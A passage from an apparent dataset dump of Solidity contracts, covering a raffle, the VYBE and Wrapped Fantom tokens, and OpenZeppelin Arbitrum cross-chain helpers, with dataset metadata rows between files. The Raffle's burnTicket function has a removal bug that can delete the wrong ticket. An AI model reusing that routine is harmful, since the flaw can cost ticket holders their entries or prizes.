ticketsIssued+= numberOfTickets;
}
function burnTicket(uint ticketNumber) public onlyOwner {
require(ticketsIssued > ticketNumber, "Ticket does not exist");
address ticketOwner = ticketHolders[ticketNumber];
uint[] memory oldTicketsHeld = ticketsHeld[ticketOwner];
for (uint i = 0; i < oldTicketsHeld.length; i++) {
if (oldTicketsHeld[i] != ticketNumber) {
ticketsHeld[ticketOwner][i] = oldTicketsHeld[i];
}
}
ticketsHeld[ticketOwner].pop();
ticketHolders[ticketNumber] = address(0);
}
function ticketForOwnerAtIndex(address owner, uint index) public view returns (uint) {
return ticketsHeld[owner][index];
}
}
// File @openzeppelin/contracts/utils/math/[emailprotected]
library Math {
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow.
return (a & b) + (a ^ b) / 2;
}
function ceilDiv(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b - 1) / b can overflow on addition, so we distribute.
return a / b + (a % b == 0 ? 0 : 1);
}
}
// File contracts/Pausable.sol
abstract contract Pausable is Ownable {
bool public isPaused;
modifier isNotPaused() {
require(isPaused == false, "This function cannot be performed when the contract is paused");
_;
}
function setIsPaused(bool newValue) public onlyOwner {
isPaused = newValue;
}
}
// File contracts/Raffle.sol
contract Raffle is Ownable, Pausable, PrizeManager, Ticketable, IERC721Receiver {
using SafeMath for uint256;
event TicketSale(address purchasor, uint numberOfTickets);
event PrizeAwarded(uint place, uint ticketNumber);
uint public ticketPrice;
function awardPrize(uint place, uint ticketNumber) public onlyOwner {
address winningAddress = ticketHolders[ticketNumber];
require(winningAddress != address(0), "The winning ticket is not owned by a valid wallet");
uint numberOfPrizes = numberOfPrizesPerPlace[place];
for (uint i = 0; i < numberOfPrizes; i++) {
Prize memory prize = prizes[place][i];
if (prize.prizeType == PrizeType.NATIVE_CURRENCY) {
require(address(this).balance >= prize.tokenIdOrValue, "Insufficient funds to pay prize");
payable(winningAddress).transfer(prize.tokenIdOrValue);
}
if (prize.prizeType == PrizeType.ERC20) {
require(IERC20(prize.tokenContract).balanceOf(address(this)) >= prize.tokenIdOrValue, "Insufficient funds to pay prize");
IERC20(prize.tokenContract).transfer(winningAddress, prize.tokenIdOrValue);
}
if (prize.prizeType == PrizeType.ERC721) {
require(IERC721(prize.tokenContract).ownerOf(prize.tokenIdOrValue) == address(this), "The prize token is not in this contract");
IERC721(prize.tokenContract).safeTransferFrom(address(this), winningAddress, prize.tokenIdOrValue);
}
}
emit PrizeAwarded(place, ticketNumber);
}
function buyTickets(uint numberOfTickets) public virtual payable isNotPaused {
require(ticketPrice == 0 || msg.value >= numberOfTickets.mul(ticketPrice), "Incorrect payable amount for number of tickets bought");
issueTickets(msg.sender, numberOfTickets);
emit TicketSale(msg.sender, numberOfTickets);
}
function depositERC20(address tokenContract, uint amount) external {
IERC20(tokenContract).transferFrom(msg.sender, address(this), amount);
}
function depositERC721(address tokenContract, uint tokenId) external {
IERC721(tokenContract).safeTransferFrom(msg.sender, address(this), tokenId);
}
function onERC721Received(address, address, uint256, bytes calldata) public override view returns (bytes4) {
return IERC721Receiver(this).onERC721Received.selector;
}
function setTicketPrice(uint price) public onlyOwner {
ticketPrice = price;
}
function withdrawProceeds(address toWallet, uint amount) public onlyOwner {
payable(toWallet).transfer(amount);
}
}
| 328,140 | 12,025 |
913e299264b4cbba279a24b4e68d6c97f4c3a8531ebcd4387a583ce8f65aac42
| 13,230 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/8f/8ffe4590b9d07e1ca34a7e287e7d0608ce48336a_VYBEERC20Token.sol
| 2,900 | 10,730 |
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.7.5;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library LowGasSafeMath {
/// @notice Returns x + y, reverts if sum overflows uint256
/// @param x The augend
/// @param y The addend
/// @return z The sum of x and y
function add(uint256 x, uint256 y) internal pure returns (uint256 z) {
require((z = x + y) >= x);
}
/// @notice Returns x - y, reverts if underflows
/// @param x The minuend
/// @param y The subtrahend
/// @return z The difference of x and y
function sub(uint256 x, uint256 y) internal pure returns (uint256 z) {
require((z = x - y) <= x);
}
/// @notice Returns x * y, reverts if overflows
/// @param x The multiplicand
/// @param y The multiplier
/// @return z The product of x and y
function mul(uint256 x, uint256 y) internal pure returns (uint256 z) {
require(x == 0 || (z = x * y) / x == y);
}
/// @notice Returns x + y, reverts if overflows or underflows
/// @param x The augend
/// @param y The addend
/// @return z The sum of x and y
function add(int256 x, int256 y) internal pure returns (int256 z) {
require((z = x + y) >= x == (y >= 0));
}
/// @notice Returns x - y, reverts if overflows or underflows
/// @param x The minuend
/// @param y The subtrahend
/// @return z The difference of x and y
function sub(int256 x, int256 y) internal pure returns (int256 z) {
require((z = x - y) <= x == (y >= 0));
}
}
abstract contract ERC20 is IERC20 {
using LowGasSafeMath for uint256;
// Present in ERC777
mapping (address => uint256) internal _balances;
// Present in ERC777
mapping (address => mapping (address => uint256)) internal _allowances;
// Present in ERC777
uint256 internal _totalSupply;
// Present in ERC777
string internal _name;
// Present in ERC777
string internal _symbol;
// Present in ERC777
uint8 internal _decimals;
constructor (string memory name_, string memory symbol_, uint8 decimals_) {
_name = name_;
_symbol = symbol_;
_decimals = decimals_;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender]
.sub(amount));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender]
.sub(subtractedValue));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount);
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account_, uint256 amount_) internal virtual {
require(account_ != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(this), account_, amount_);
_totalSupply = _totalSupply.add(amount_);
_balances[account_] = _balances[account_].add(amount_);
emit Transfer(address(0), account_, amount_);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount);
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _beforeTokenTransfer(address from_, address to_, uint256 amount_) internal virtual { }
}
library Counters {
using LowGasSafeMath for uint256;
struct Counter {
uint256 _value; // default: 0
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal {
counter._value += 1;
}
function decrement(Counter storage counter) internal {
counter._value = counter._value.sub(1);
}
}
interface IERC2612Permit {
function permit(address owner,
address spender,
uint256 amount,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s) external;
function nonces(address owner) external view returns (uint256);
}
abstract contract ERC20Permit is ERC20, IERC2612Permit {
using Counters for Counters.Counter;
mapping(address => Counters.Counter) private _nonces;
// keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
bytes32 public constant PERMIT_TYPEHASH = 0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9;
bytes32 public DOMAIN_SEPARATOR;
constructor() {
uint256 chainID;
assembly {
chainID := chainid()
}
DOMAIN_SEPARATOR = keccak256(abi.encode(keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"),
keccak256(bytes(name())),
keccak256(bytes("1")), // Version
chainID,
address(this)));
}
function permit(address owner,
address spender,
uint256 amount,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s) public virtual override {
require(block.timestamp <= deadline, "Permit: expired deadline");
bytes32 hashStruct =
keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, amount, _nonces[owner].current(), deadline));
bytes32 _hash = keccak256(abi.encodePacked(uint16(0x1901), DOMAIN_SEPARATOR, hashStruct));
address signer = ecrecover(_hash, v, r, s);
require(signer != address(0) && signer == owner, "ERC20Permit: Invalid signature");
_nonces[owner].increment();
_approve(owner, spender, amount);
}
function nonces(address owner) public view override returns (uint256) {
return _nonces[owner].current();
}
}
interface IOwnable {
function owner() external view returns (address);
function renounceOwnership() external;
function transferOwnership(address newOwner_) external;
}
contract Ownable is IOwnable {
address internal _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view override returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == msg.sender, "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual override onlyOwner() {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner_) public virtual override onlyOwner() {
require(newOwner_ != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner_);
_owner = newOwner_;
}
}
contract VaultOwned is Ownable {
address internal _vault;
event VaultTransferred(address indexed newVault);
function setVault(address vault_) external onlyOwner() {
require(vault_ != address(0), "IA0");
_vault = vault_;
emit VaultTransferred(_vault);
}
function vault() public view returns (address) {
return _vault;
}
modifier onlyVault() {
require(_vault == msg.sender, "VaultOwned: caller is not the Vault");
_;
}
}
contract VYBEERC20Token is ERC20Permit, VaultOwned {
using LowGasSafeMath for uint256;
constructor() ERC20("VYBE", "VYBE", 9) {
}
function mint(address account_, uint256 amount_) external onlyVault() {
_mint(account_, amount_);
}
function burn(uint256 amount) external virtual {
_burn(msg.sender, amount);
}
function burnFrom(address account_, uint256 amount_) external virtual {
_burnFrom(account_, amount_);
}
function _burnFrom(address account_, uint256 amount_) internal virtual {
uint256 decreasedAllowance_ =
allowance(account_, msg.sender).sub(amount_);
_approve(account_, msg.sender, decreasedAllowance_);
_burn(account_, amount_);
}
}
| 75,677 | 12,026 |
a8727dbc10b48637d0f1c588f4fc0b34e0bbde620c454ae54afa5a958dc4bb55
| 26,538 |
.sol
|
Solidity
| false |
635617544
|
0xblackskull/OpenZeppelin-Flattened
|
bef0a34f7a2402d302f91f7bccf2d2e153ebea6b
|
openzeppelin-contracts-upgradeable/crosschain/arbitrum/CrossChainEnabledArbitrumL1Upgradeable_flat.sol
| 2,891 | 12,216 |
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.7.0) (crosschain/arbitrum/CrossChainEnabledArbitrumL1.sol)
pragma solidity ^0.8.4;
// OpenZeppelin Contracts (last updated v4.6.0) (crosschain/CrossChainEnabled.sol)
// OpenZeppelin Contracts (last updated v4.6.0) (crosschain/errors.sol)
error NotCrossChainCall();
error InvalidCrossChainSender(address actual, address expected);
// OpenZeppelin Contracts (last updated v4.7.0) (proxy/utils/Initializable.sol)
// OpenZeppelin Contracts (last updated v4.7.0) (utils/Address.sol)
library AddressUpgradeable {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success,) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResultFromTarget(target, success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResultFromTarget(target, success, returndata, errorMessage);
}
function verifyCallResultFromTarget(address target,
bool success,
bytes memory returndata,
string memory errorMessage) internal view returns (bytes memory) {
if (success) {
if (returndata.length == 0) {
// only check isContract if the call was successful and the return data is empty
// otherwise we already know that it was a contract
require(isContract(target), "Address: call to non-contract");
}
return returndata;
} else {
_revert(returndata, errorMessage);
}
}
function verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
_revert(returndata, errorMessage);
}
}
function _revert(bytes memory returndata, string memory errorMessage) private pure {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
/// @solidity memory-safe-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
abstract contract Initializable {
uint8 private _initialized;
bool private _initializing;
event Initialized(uint8 version);
modifier initializer() {
bool isTopLevelCall = !_initializing;
require((isTopLevelCall && _initialized < 1) || (!AddressUpgradeable.isContract(address(this)) && _initialized == 1),
"Initializable: contract is already initialized");
_initialized = 1;
if (isTopLevelCall) {
_initializing = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
emit Initialized(1);
}
}
modifier reinitializer(uint8 version) {
require(!_initializing && _initialized < version, "Initializable: contract is already initialized");
_initialized = version;
_initializing = true;
_;
_initializing = false;
emit Initialized(version);
}
modifier onlyInitializing() {
require(_initializing, "Initializable: contract is not initializing");
_;
}
function _disableInitializers() internal virtual {
require(!_initializing, "Initializable: contract is initializing");
if (_initialized < type(uint8).max) {
_initialized = type(uint8).max;
emit Initialized(type(uint8).max);
}
}
}
abstract contract CrossChainEnabledUpgradeable is Initializable {
function __CrossChainEnabled_init() internal onlyInitializing {
}
function __CrossChainEnabled_init_unchained() internal onlyInitializing {
}
modifier onlyCrossChain() {
if (!_isCrossChain()) revert NotCrossChainCall();
_;
}
modifier onlyCrossChainSender(address expected) {
address actual = _crossChainSender();
if (expected != actual) revert InvalidCrossChainSender(actual, expected);
_;
}
function _isCrossChain() internal view virtual returns (bool);
function _crossChainSender() internal view virtual returns (address);
uint256[50] private __gap;
}
// OpenZeppelin Contracts (last updated v4.7.0) (crosschain/arbitrum/LibArbitrumL1.sol)
// OpenZeppelin Contracts (last updated v4.6.0) (vendor/arbitrum/IBridge.sol)
interface IBridgeUpgradeable {
event MessageDelivered(uint256 indexed messageIndex,
bytes32 indexed beforeInboxAcc,
address inbox,
uint8 kind,
address sender,
bytes32 messageDataHash);
event BridgeCallTriggered(address indexed outbox, address indexed destAddr, uint256 amount, bytes data);
event InboxToggle(address indexed inbox, bool enabled);
event OutboxToggle(address indexed outbox, bool enabled);
function deliverMessageToInbox(uint8 kind,
address sender,
bytes32 messageDataHash) external payable returns (uint256);
function executeCall(address destAddr,
uint256 amount,
bytes calldata data) external returns (bool success, bytes memory returnData);
// These are only callable by the admin
function setInbox(address inbox, bool enabled) external;
function setOutbox(address inbox, bool enabled) external;
// View functions
function activeOutbox() external view returns (address);
function allowedInboxes(address inbox) external view returns (bool);
function allowedOutboxes(address outbox) external view returns (bool);
function inboxAccs(uint256 index) external view returns (bytes32);
function messageCount() external view returns (uint256);
}
// OpenZeppelin Contracts (last updated v4.6.0) (vendor/arbitrum/IInbox.sol)
// OpenZeppelin Contracts (last updated v4.6.0) (vendor/arbitrum/IMessageProvider.sol)
interface IMessageProviderUpgradeable {
event InboxMessageDelivered(uint256 indexed messageNum, bytes data);
event InboxMessageDeliveredFromOrigin(uint256 indexed messageNum);
}
interface IInboxUpgradeable is IMessageProviderUpgradeable {
function sendL2Message(bytes calldata messageData) external returns (uint256);
function sendUnsignedTransaction(uint256 maxGas,
uint256 gasPriceBid,
uint256 nonce,
address destAddr,
uint256 amount,
bytes calldata data) external returns (uint256);
function sendContractTransaction(uint256 maxGas,
uint256 gasPriceBid,
address destAddr,
uint256 amount,
bytes calldata data) external returns (uint256);
function sendL1FundedUnsignedTransaction(uint256 maxGas,
uint256 gasPriceBid,
uint256 nonce,
address destAddr,
bytes calldata data) external payable returns (uint256);
function sendL1FundedContractTransaction(uint256 maxGas,
uint256 gasPriceBid,
address destAddr,
bytes calldata data) external payable returns (uint256);
function createRetryableTicket(address destAddr,
uint256 arbTxCallValue,
uint256 maxSubmissionCost,
address submissionRefundAddress,
address valueRefundAddress,
uint256 maxGas,
uint256 gasPriceBid,
bytes calldata data) external payable returns (uint256);
function createRetryableTicketNoRefundAliasRewrite(address destAddr,
uint256 arbTxCallValue,
uint256 maxSubmissionCost,
address submissionRefundAddress,
address valueRefundAddress,
uint256 maxGas,
uint256 gasPriceBid,
bytes calldata data) external payable returns (uint256);
function depositEth(uint256 maxSubmissionCost) external payable returns (uint256);
function bridge() external view returns (address);
function pauseCreateRetryables() external;
function unpauseCreateRetryables() external;
function startRewriteAddress() external;
function stopRewriteAddress() external;
}
// OpenZeppelin Contracts (last updated v4.6.0) (vendor/arbitrum/IOutbox.sol)
interface IOutboxUpgradeable {
event OutboxEntryCreated(uint256 indexed batchNum,
uint256 outboxEntryIndex,
bytes32 outputRoot,
uint256 numInBatch);
event OutBoxTransactionExecuted(address indexed destAddr,
address indexed l2Sender,
uint256 indexed outboxEntryIndex,
uint256 transactionIndex);
function l2ToL1Sender() external view returns (address);
function l2ToL1Block() external view returns (uint256);
function l2ToL1EthBlock() external view returns (uint256);
function l2ToL1Timestamp() external view returns (uint256);
function l2ToL1BatchNum() external view returns (uint256);
function l2ToL1OutputId() external view returns (bytes32);
function processOutgoingMessages(bytes calldata sendsData, uint256[] calldata sendLengths) external;
function outboxEntryExists(uint256 batchNum) external view returns (bool);
}
library LibArbitrumL1Upgradeable {
function isCrossChain(address bridge) internal view returns (bool) {
return msg.sender == bridge;
}
function crossChainSender(address bridge) internal view returns (address) {
if (!isCrossChain(bridge)) revert NotCrossChainCall();
address sender = IOutboxUpgradeable(IBridgeUpgradeable(bridge).activeOutbox()).l2ToL1Sender();
require(sender != address(0), "LibArbitrumL1: system messages without sender");
return sender;
}
}
abstract contract CrossChainEnabledArbitrumL1Upgradeable is Initializable, CrossChainEnabledUpgradeable {
/// @custom:oz-upgrades-unsafe-allow state-variable-immutable
address private immutable _bridge;
/// @custom:oz-upgrades-unsafe-allow constructor
constructor(address bridge) {
_bridge = bridge;
}
function _isCrossChain() internal view virtual override returns (bool) {
return LibArbitrumL1Upgradeable.isCrossChain(_bridge);
}
function _crossChainSender() internal view virtual override onlyCrossChain returns (address) {
return LibArbitrumL1Upgradeable.crossChainSender(_bridge);
}
uint256[50] private __gap;
}
| 63,350 | 12,027 |
c1c0266d53ed5aa033092fa1dc1adbec1afca534962e8bf02c391d4a054a3991
| 21,973 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/f8/f8cB82F69ba9A9fD5d161DEceb54D763866E4B89_WrappedFtm.sol
| 2,973 | 11,574 |
pragma solidity ^0.5.0;
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this;
return msg.data;
}
}
library Roles {
struct Role {
mapping (address => bool) bearer;
}
function add(Role storage role, address account) internal {
require(!has(role, account), "Roles: account already has role");
role.bearer[account] = true;
}
function remove(Role storage role, address account) internal {
require(has(role, account), "Roles: account does not have role");
role.bearer[account] = false;
}
function has(Role storage role, address account) internal view returns (bool) {
require(account != address(0), "Roles: account is the zero address");
return role.bearer[account];
}
}
contract PauserRole is Context {
using Roles for Roles.Role;
event PauserAdded(address indexed account);
event PauserRemoved(address indexed account);
Roles.Role private _pausers;
constructor () internal {
_addPauser(_msgSender());
}
modifier onlyPauser() {
require(isPauser(_msgSender()), "PauserRole: caller does not have the Pauser role");
_;
}
function isPauser(address account) public view returns (bool) {
return _pausers.has(account);
}
function addPauser(address account) public onlyPauser {
_addPauser(account);
}
function renouncePauser() public {
_removePauser(_msgSender());
}
function _addPauser(address account) internal {
_pausers.add(account);
emit PauserAdded(account);
}
function _removePauser(address account) internal {
_pausers.remove(account);
emit PauserRemoved(account);
}
}
contract Pausable is Context, PauserRole {
event Paused(address account);
event Unpaused(address account);
bool private _paused;
constructor () internal {
_paused = false;
}
function paused() public view returns (bool) {
return _paused;
}
modifier whenNotPaused() {
require(!_paused, "Pausable: paused");
_;
}
modifier whenPaused() {
require(_paused, "Pausable: not paused");
_;
}
function pause() public onlyPauser whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
function unpause() public onlyPauser whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance"));
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
}
contract ERC20Pausable is ERC20, Pausable {
function transfer(address to, uint256 value) public whenNotPaused returns (bool) {
return super.transfer(to, value);
}
function transferFrom(address from, address to, uint256 value) public whenNotPaused returns (bool) {
return super.transferFrom(from, to, value);
}
function approve(address spender, uint256 value) public whenNotPaused returns (bool) {
return super.approve(spender, value);
}
function increaseAllowance(address spender, uint256 addedValue) public whenNotPaused returns (bool) {
return super.increaseAllowance(spender, addedValue);
}
function decreaseAllowance(address spender, uint256 subtractedValue) public whenNotPaused returns (bool) {
return super.decreaseAllowance(spender, subtractedValue);
}
}
contract WrappedFtm is ERC20, ERC20Detailed, ERC20Pausable {
// Error Code: No error.
uint256 public constant ERR_NO_ERROR = 0x0;
// Error Code: Non-zero value expected to perform the function.
uint256 public constant ERR_INVALID_ZERO_VALUE = 0x01;
// create instance of the wFTM token
constructor () public ERC20Detailed("Wrapped Fantom", "WFTM", 18) {
}
// deposit wraps received FTM tokens as wFTM in 1:1 ratio by minting
// the received amount of FTMs in wFTM on the sender's address.
function deposit() public whenNotPaused payable returns (uint256) {
// there has to be some value to be converted
if (msg.value == 0) {
return ERR_INVALID_ZERO_VALUE;
}
// we already received FTMs, mint the appropriate amount of wFTM
_mint(msg.sender, msg.value);
// all went well here
return ERR_NO_ERROR;
}
// withdraw unwraps FTM tokens by burning specified amount
// of wFTM from the caller address and sending the same amount
// of FTMs back in exchange.
function withdraw(uint256 amount) public whenNotPaused returns (uint256) {
// there has to be some value to be converted
if (amount == 0) {
return ERR_INVALID_ZERO_VALUE;
}
// burn wFTM from the sender first to prevent re-entrance issue
_burn(msg.sender, amount);
// if wFTM were burned, transfer native tokens back to the sender
msg.sender.transfer(amount);
// all went well here
return ERR_NO_ERROR;
}
}
| 112,912 | 12,028 |
21fa35a28ab7576b906b13cf9ea756ef0bf0e8ee91c0e9dc8345aeebbcf3d163
| 30,146 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/61/619613733cff2ea82023389b9d04040b402833fa_ConstantReturnStaking.sol
| 5,227 | 21,024 |
// SPDX-License-Identifier: BSD-3-Clause
pragma solidity 0.6.11;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
